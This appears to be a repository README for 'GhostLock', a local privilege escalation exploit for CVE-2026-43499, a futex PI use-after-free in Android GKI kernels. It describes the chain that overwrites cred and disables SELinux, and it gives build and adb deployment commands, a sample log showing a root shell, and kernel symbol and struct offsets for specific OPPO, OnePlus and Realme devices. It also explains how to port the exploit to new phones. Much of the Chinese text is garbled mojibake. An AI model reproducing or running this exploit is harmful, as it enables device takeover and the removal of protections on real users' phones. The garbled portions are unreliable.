
CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????
CVE ID: CVE-2026-43499
Vulnerability Type: futex PI (priority inheritance) stack UAF (Use-After-Free)
Affected Range: Linux kernel 6.1 ~ 6.12 (Android GKI)
Exploitation Impact: Local privilege escalation + SELinux disable, obtain root shell
็จๆท็ฉบ้ด โ pselect() โ ๅ
ๆ ธๆ ไธๅ้
rt_mutex_waiter
โ futex PI ๆไฝ่งฆๅ waiter ้ๆพ
โ ้ๆพๅ็ waiter ๅ
ๅญ่ขซ fd_set ๆไฝ้็จ
โ ้่ฟ็ฒพๅฟๆ้ ็ fd_set ๆฐๆฎๆงๅถ waiter ๅญๆฎต
โ rb_erase() ่งฆๅไปปๆๅ
ๆ ธๅ
ๅญๅๅ
ฅ
pselect() + futex PI to free rt_mutex_waiter on the kernel stackpipe_buffer to construct a fake rt_mutex_waiterrb_erase() tree operations to write controlled pointers to target addressescred structure: uid/gid โ 0, capabilities โ all enabledselinux_state.enforcing โ 0ashmem_fops to confirm CFI integrityGhostLock/
โโโ README.md # ๆฌๆๆกฃ
โโโ src/
โ โโโ core/ # ๆ ธๅฟๅฉ็จไปฃ็
โ โ โโโ main.c # ไธปๅ
ฅๅฃ๏ผๆผๆด่งฆๅ
โ โ โโโ pipe.c # pipe_buffer ๅทๅฐ
โ โ โโโ fops.c # ๆไปถๆไฝๅซๆ
โ โ โโโ root.c # ๆๆ + SELinux ็ฆ็จ
โ โ โโโ slide.c # ๅ
ๆ ธๅฐๅ้ๆบๅๅค็
โ โ โโโ util.c # ๅทฅๅ
ทๅฝๆฐ
โ โ โโโ miniadb.c # ่ฟทไฝ ADB ๆๅกๅจ
โ โ โโโ common.h # ๅ
ฌๅ
ฑๅฎไน
โ โ โโโ target.h # ็ฎๆ ้
็ฝฎ
โ โ โโโ offset.h # ๅ็งป้ๅ
ๅซ
โ โ โโโ runtime_offsets.h # ่ฟ่กๆถๅ็งป่กจ
โ โ โโโ kernelsnitch/ # ๅ
ๆ ธๅฐๅๆขๆต
โ โ โโโ kernelsnitch.h
โ โ โโโ futex_hash.h
โ โ โโโ utils.h
โ โ โโโ timeutils.h
โ โโโ devices/ # ่ฎพๅค้้
โ โโโ offsets.h # ๅ็งป้็ปๆๅฎไน
โ โโโ findx8/ # OPPO Find X8
โ โ โโโ offsets.h
โ โโโ ace6t/ # OnePlus Ace 6T
โ โ โโโ offsets.h
โ โโโ op15/ # OnePlus 15
โ โ โโโ offsets.h
โ โโโ opd2502/ # OnePlus Pad 2
โ โ โโโ offsets.h
โ โโโ rmx5070/ # Realme RMX5070
โ โโโ offsets.h
โโโ tools/ # ่พ
ๅฉๅทฅๅ
ท
โ โโโ extract_btf.py # BTF ๅ็งป้ๆๅ่ๆฌ
โโโ btf_*.py # BTF ๅๆ่ๆฌ้ๅ
โโโ Makefile # ๆๅปบ่ๆฌ
โโโ compile.cmd # Windows ็ผ่ฏ่ๆฌ
โโโ build.rsp # ็ผ่ฏๅๅบๆไปถ
โโโ ghostlock # ็ผ่ฏไบง็ฉ๏ผELF aarch64๏ผ
| Device | Kernel Version | Status |
|---|---|---|
| OPPO Find X8 (MT6991) | 6.6.118-android15 | โ Supported |
| OnePlus Ace 6T | 6.1.x | โ Verified |
| OnePlus 15 | 6.1.x | โ Verified |
| OnePlus Pad 2 | 6.1.x | โ Verified |
| Realme RMX5070 | 6.1.x | โ Verified |
# 1. ่ฎพ็ฝฎ NDK ่ทฏๅพ
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c
# 2. ็ผ่ฏ
make
# 3. ๆ่
็ดๆฅไฝฟ็จ NDK ็ผ่ฏ
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
--target=aarch64-linux-android35 \
-O2 -Wall -fPIE -pie -pthread \
-Isrc/core -Isrc/devices \
-DTARGET_CONFIG_H=\"target.h\" \
src/core/*.c -o ghostlock
# ไฝฟ็จๆไพ็ compile.cmd
compile.cmd
# 1. ็กฎ่ฎค่ฎพๅค่ฟๆฅ
adb devices
# 2. ็กฎ่ฎคๅ
ๆ ธ็ๆฌ๏ผๅฟ
้กปๅน้
๏ผ
adb shell uname -r
# ๆๆ่พๅบ: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
# 3. ๆจ้ exploit ๅฐๆๆบ
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock
# 4. ่ฟ่ก exploit
adb shell /data/local/tmp/ghostlock
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...
# prompt appears (root shell)id command shows uid=0(root)getenforce returns PermissiveKIMAGE_TEXT_BASE = 0xffffffc080000000 (Find X8)
PAGE_OFFSET = 0xffffffc000000000
PHYS_OFFSET = 0x40000000
DIRECT_MAP_END = 0xffffffc400000000 (16GB RAM)
| Symbol | Offset |
|---|---|
| init_task | 0x0211E280 |
| init_cred | 0x02130748 |
| selinux_enforcing | 0x02358EE0 |
| ashmem_misc | 0x0227C518 |
| ashmem_fops | 0x012EF5C0 |
| kmalloc_caches | 0x0167A298 |
| Structure | Field | Offset |
|---|---|---|
| task_struct | cred | 0x820 |
| task_struct | real_cred | 0x818 |
| task_struct | tasks | 0x550 |
| task_struct | pi_lock | 0x90C |
| task_struct | seccomp | 0x8E8 |
| cred | uid | 0x08 |
| cred | caps | 0x30 |
| file_operations | ioctl | 0x48 |
| file_operations | splice_read | 0xB8 |
direct_map region to locate mm_structpipe_bufferExtract the kernel image:
# ไปๆๆบๆๅ boot.img
adb pull /dev/block/by-name/boot boot.img
# ๆ่
ไปๅบไปถๅ
ไธญๆๅ
Extract kallsyms:
# ไฝฟ็จ vmlinux-to-elf
python3 -m vmlinux_to_elf boot.img
# ้ๆฉ "Extract kallsyms" ้้กน
Extract BTF information:
python3 btf_task2.py > task_full.txt
python3 btf_structs2.py > structs.txt
Create a device entry:
mkdir -p src/devices/mydevice
# ๅคๅถ็ฐๆๆก็ฎไฝไธบๆจกๆฟ
cp src/devices/findx8/offsets.h src/devices/mydevice/
# ไฟฎๆนๅ็งป้
Register the device:
Add the following to src/devices/offsets.h:
#include "mydevice/offsets.h"
| Information | Source | Tool |
|---|---|---|
| Symbol addresses | kallsyms | vmlinux-to-elf |
| Structure offsets | BTF | btf_task2.py |
| Physical memory layout | IKCONFIG | extract-ikconfig |
| Kernel version | uname | adb shell uname -r |
# ๆๅ task_struct ๅฎๆดๆๅ
python3 btf_task2.py > task_full.txt
# ๆๅๆๆๅ
ณ้ฎ็ปๆไฝ
python3 btf_structs2.py > structs.txt
# ๆๅ็นๅฎ็ปๆไฝ
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt
# ๆๅๅๅง BTF ๆฐๆฎ
python3 btf_raw.py > raw.txt
# ไฝฟ็จ vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin
# ๆ่
ไฝฟ็จ่ชๅฎไน่ๆฌ
python3 run_kallsyms_finder.py
โ ๏ธ Warning: This tool is intended for security research and authorized testing only. Using it on others' devices without authorization is illegal.

Automated mobile application security testing framework for Android, iOS, and Windows. Performs static and dynamic analysis, malware detection, and API security testing with CI/CD integration.

Command-line and GUI tool for decompiling Android Dex and APK files into readable Java source code, with resource decoding, deobfuscation, and Smali debugging capabilities.

A tool for reverse engineering Android apk files